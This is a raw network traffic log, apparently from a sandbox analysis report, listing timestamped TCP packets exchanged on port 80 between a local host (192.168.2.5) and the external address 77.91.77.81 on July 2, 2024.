Jul 2, 2024 04:13:05.844444036 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.844470024 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.844479084 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.845361948 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.845371008 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.845382929 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.845407009 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.845423937 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.845500946 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.845525026 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.845535994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.845545053 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.845681906 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.845681906 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.845683098 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.846033096 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846076965 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.846101999 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846112013 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846144915 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.846261978 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846271992 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846282005 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846293926 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846304893 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.846316099 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.846342087 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.846637964 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846647978 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846657991 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846677065 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.846704006 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.846755028 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846765041 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846775055 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846791029 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.846791983 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846810102 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846810102 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.846820116 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846829891 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846833944 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.846841097 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846854925 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846858978 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.846865892 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846875906 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.846884966 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.846903086 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.846920013 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.847307920 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.847347975 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.847448111 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.847457886 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.847464085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.847474098 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.847484112 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.847491980 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.847501040 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.847510099 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.847512960 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.847538948 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.847563028 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848027945 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848037004 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848047972 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848061085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848078966 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848109007 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848171949 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848181963 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848191023 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848208904 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848220110 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848227978 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848229885 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848241091 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848249912 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848259926 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848270893 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848275900 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848279953 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848294973 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848305941 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848306894 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848316908 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848318100 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848341942 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848366976 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848370075 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848381042 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848395109 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848409891 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848423004 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848440886 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848463058 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848474026 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848489046 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848500013 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848500967 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848525047 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848546028 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848546982 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848557949 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848567009 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848587990 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848608017 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848635912 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848645926 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848660946 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848675013 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848676920 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848690033 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848699093 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848701000 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848717928 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848722935 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848736048 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848742962 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848750114 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848759890 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848767996 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848771095 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.848786116 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.848814011 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.879009962 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.879043102 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.879055977 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.879067898 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.879079103 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.879090071 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.879091024 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.879111052 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.879121065 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.879132032 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.879146099 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.879158974 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.879169941 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.879183054 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.879194975 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.879265070 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.879265070 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.879265070 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.879265070 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.879265070 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.879266024 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.910736084 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.910756111 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.910769939 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.910783052 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.910801888 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.910814047 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.910828114 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.910834074 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.910885096 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.911041021 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911051989 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911063910 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911084890 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.911103010 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.911186934 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911205053 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911217928 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911230087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911237001 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.911242008 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911250114 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.911264896 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911268950 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.911278009 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911288977 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911299944 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.911300898 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911313057 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911322117 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.911326885 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911339998 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.911348104 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.911360979 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.911377907 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.940579891 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940596104 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940617085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940633059 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940651894 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940664053 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940675020 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940691948 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940710068 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940722942 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940733910 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940746069 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940757990 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940758944 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.940759897 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.940759897 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.940759897 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.940759897 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.940769911 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940773010 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.940783024 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940794945 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940800905 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.940814972 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940821886 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.940829039 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940840006 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940840960 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.940853119 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940864086 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.940887928 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.940948963 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940960884 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940973997 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.940987110 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.941016912 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.941127062 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941137075 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941173077 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.941272020 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941289902 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941303015 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941313982 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941318035 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.941325903 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941339016 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941340923 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.941350937 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941369057 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.941373110 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941385031 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.941385031 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941395998 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941406012 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.941406965 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941417933 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941430092 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941433907 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.941442966 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941459894 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.941482067 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.941909075 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941921949 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941934109 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941945076 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941956043 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941957951 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.941972017 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.941975117 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941987038 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.941994905 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.941999912 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942023039 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.942039967 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.942480087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942491055 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942502022 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942513943 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942529917 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.942537069 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942547083 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942553997 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.942564964 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942567110 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.942575932 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942591906 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.942614079 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942614079 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.942625999 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942637920 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942652941 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.942662954 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.942684889 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.942684889 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942703962 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942723989 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942725897 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.942737103 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942742109 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.942748070 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.942756891 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.942770958 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.942789078 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943056107 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943077087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943088055 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943100929 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943114042 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943115950 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943133116 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943134069 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943145037 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943149090 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943156004 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943166971 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943167925 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943180084 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943182945 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943192959 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943202019 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943205118 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943217993 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943221092 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943236113 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943245888 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943249941 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943260908 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943273067 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943274021 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943284035 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943289042 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943296909 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943309069 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943314075 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943321943 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943332911 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.943337917 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943353891 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.943372011 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.973654032 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.973732948 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.973738909 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.973746061 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.973751068 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.973762989 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.973769903 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.973861933 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.973861933 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.973874092 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.973886013 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.973897934 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.973910093 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.973922014 CEST	80	54802	77.91.77.81	192.168.2.5
